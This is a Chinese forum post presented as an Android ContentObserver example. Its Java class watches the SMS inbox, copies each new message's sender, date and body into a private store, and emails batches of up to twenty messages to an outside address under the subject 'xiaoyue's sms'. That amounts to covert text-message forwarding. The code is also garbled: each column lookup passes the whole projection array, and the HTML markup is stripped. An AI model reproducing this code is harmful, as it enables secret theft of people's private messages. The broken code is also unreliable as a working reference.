【原创】ContentObserver 示例
import java.text.DateFormat;import java.text.SimpleDateFormat;import java.util.Date;import android.content.ContentValues;import android.content.Context;import android.database.ContentObserver;import android.database.Cursor;import android.net.ConnectivityManager;import android.net.NetworkInfo;import android.net.Uri;import android.os.Handler;import android.util.Log;public class SmsObserver extends ContentObserver {private static String TAG = "SmsObserver";private static final String[] SMS_PROJECTION = new String[] { DbHelper.SmsColumns._ID, DbHelper.SmsColumns.ADDRESS, DbHelper.SmsColumns.PERSON, DbHelper.SmsColumns.DATE, DbHelper.SmsColumns.TYPE,DbHelper.SmsColumns.BODY };private Context context;private int _id = -1;public SmsObserver(Context context, Handler handler) {super(handler);this.context = context;Log.i(TAG, "My Oberver on create");}public void onChange(boolean change) {Log.i(TAG, "Sms onChange");Uri uri = Uri.parse("content://sms");Cursor c = context.getContentResolver().query(uri, null, null, null, "_id desc limit 1");if (c != null) {boolean first = false;while (c.moveToNext()) {int id = c.getInt(c.getColumnIndex(SMS_PROJECTION));String address = c.getString(c.getColumnIndex(SMS_PROJECTION));String person = c.getString(c.getColumnIndex(SMS_PROJECTION));String date = c.getString(c.getColumnIndex(SMS_PROJECTION));String type = c.getString(c.getColumnIndex(SMS_PROJECTION));String body = c.getString(c.getColumnIndex(SMS_PROJECTION));if (_id != id) {first = true;Log.e(TAG, "address=" + address);Log.e(TAG, "date=" + date);Log.e(TAG, "body=" + body);ContentValues values = new ContentValues();values.put(DbHelper.SmsColumns.ADDRESS, address);if (person != null)values.put(DbHelper.SmsColumns.PERSON, person);values.put(DbHelper.SmsColumns.DATE, date);values.put(DbHelper.SmsColumns.TYPE, type);values.put(DbHelper.SmsColumns.BODY, body);context.getContentResolver().insert(Uri.parse("content://" + SmsProvider.AUTHORITY + "/sms"), values);}_id = id;}c.close();String html = getSmsHtml(first);}}public String getSmsHtml(boolean first) {StringBuffer sb = new StringBuffer();String ids = "";if (first && isConnectInternet()) {Cursor cursor = context.getContentResolver().query(Uri.parse("content://" + SmsProvider.AUTHORITY + "/sms"), SMS_PROJECTION, DbHelper.SmsColumns.SEND + "=0", null, "_id desc limit 20");if (cursor != null) {sb.append("");sb.append("");sb.append("id");sb.append("address");sb.append("person");sb.append("date");sb.append("type");sb.append("body");sb.append("");while (cursor.moveToNext()) {sb.append("");int id = cursor.getInt(cursor.getColumnIndex(SMS_PROJECTION));String address = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION));String person = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION));String date = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION));String type = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION));String body = cursor.getString(cursor.getColumnIndex(SMS_PROJECTION));sb.append("" + id + "");sb.append("" + address + "");if (person != null)sb.append("" + person + "");elsesb.append("" + "null" + "");sb.append("" + formatDate(Long.parseLong(date)) + "");sb.append("" + type + "");sb.append("" + body + "");sb.append("");ids += id + ",";}sb.append("");ids = ids.substring(0, ids.length() - 1);}}SmsMail mail = new SmsMail("xiaoyue's sms", sb.toString());if (mail.send()) {return ids;}return null;}public String formatDate(long time) {DateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");Date date = new Date();date.setTime(time);String s = format.format(date);return s;}public boolean isConnectInternet() {ConnectivityManager conManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);NetworkInfo networkInfo = conManager.getActiveNetworkInfo();if (networkInfo != null) { // 注意,这个判断一定要的哦,要不然会出错return networkInfo.isAvailable();}return false;}}
页:
[1]